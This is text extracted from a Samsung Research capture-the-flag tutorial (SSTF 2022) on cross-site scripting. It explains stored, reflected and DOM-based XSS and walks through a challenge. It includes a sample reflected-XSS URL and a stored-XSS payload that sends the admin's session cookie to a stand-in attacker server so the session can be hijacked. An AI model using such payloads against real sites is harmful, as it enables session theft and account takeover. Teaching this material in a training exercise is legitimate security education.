Tutorial Guide: SSTF 2022 Hacker's Playground
Tutorial Guide: SSTF 2022 Hacker's Playground
Tutorial Guide: SSTF 2022 Hacker's Playground
Samsung Research
Tutorial Guide
XSS 101
Web
XSS? Cross-site scripting(XSS) is a type of security vulnerability typically
found in web applications. XSS attacks enable attackers to inject
client-side scripts into web pages viewed by other users. A cross-site
scripting vulnerability may be used by attackers to bypass access
controls such as the same-origin policy.
https://en.wikipedia.org/wiki/Cross-site_scripting
2
The most popular web vulnerability
3
Web application attack statistics: 2017 in review,
Stored XSS Attack
Injected malicious script is stored on the target server.
▪ Then the victim will retrieve some contents including the injected script.
▪ The script will work on the victim’s web browser.
post insert
HACKER SERVER DB
4
Stored XSS Attack
(example) Attack scenario, cont’d.
2. The post will be stored in a database.
post insert
HACKER SERVER DB
3. Whenever a user tries to access the post, the malicious script will come to user’s web browser.
request retrieve
post record
USER SERVER DB
5
Stored XSS Attack
With the successful XSS attack,
▪ hacker can control the user’s machine
▪ arbitrary file reading/writing
▪ malware installation
▪ changing URLs or contents on the web browser
▪ hacker can steal user’s credentials
▪ including session cookies
allowing the attacker to hijack the session.
6
Reflected XSS Attack
Malicious script in the request is directly embedded to the response.
▪ Malicious script can be a part of request URL.
▪ The server itself is not affected from the malicious script.
request
URL
response
HACKER USER SERVER
7
Reflected XSS Attack
(example) Attack scenario, cont’d.
▪ Let’s assume that there’s a search service which has reflected XSS vulnerability.
1. A hacker sends a malicious URL to the victim user.
e.g., https://search.service/?query=<script>console.log("BAD");</script>bad
2. When the victim clicks the link, the server will embed the query string to the result page.
https://search.service/?query=<
3. The JavaScript code in the query string will work on the victim’s web browser.
8
DOM-Based XSS Attack
Malicious code is dynamically injected to the DOM* environments.
▪ by the JavaScript code on the web page.
▪ It arises when a JavaScript in the web content executes or embeds untrusted data, such as the URL.
▪ The server is not involved in the attack sequence.
▪ DOM-Based XSS attack can be regarded as a sub class of reflected XSS attack.
request
URL
response
HACKER USER SERVER
inject
DOM(Document Object Model) treats an XML or HTML document as a tree structure wherein each node is an object representing a part of the document. 9
10
11
Quiz #1
12
Solution for Quiz #1
We can see that the input text is inserted into the HTML code.
13
Solution for Quiz #1
16
Solution for Quiz #2
It’s a static HTML page, so there isn’t any processing on the server.
Let’s inspect the source code.
17
Solution for Quiz #2
19
Challenge Definition
20
Challenge Analysis
Failed to login.
▪ It seems not feasible to login via SQLi attack.
▪ A link to create a support case is provided, and we can find a hint there.
21
Challenge Analysis
22
Attack Scenario
②
① ③ DB
Support case
HACKER SERVER ④
⑤
Session cookie
ADMIN
1. A hacker(you) creates a support case which contains XSS attack payload.
2. The support case will be stored in the database.
3. When the admin checks the support cases, they will be retrieved from the database.
4. And will be delivered to admin.
5. Admin’s session cookie will be sent to the hacker’s server by the XSS script.
23
Preparing XSS Attack
Attack script
▪ It should contain a logic to send the session cookie to the hacker’s server.
▪ As it will be embedded as a part of the HTML code, we can use script tag or something else.
▪ For here, it’ll be:
<script>img=new Image(); img.src='http://myserver?cookie='+document.cookie;</script>
There’re many
similar services!
24
XSS Attack!
25
XSS Attack!
26
Finding Admin UI
Apply admin’s session cookie and reload the page. Application tab in the
DevTools of
Chrome browser
But nothing
changed…
27
Finding Admin UI
28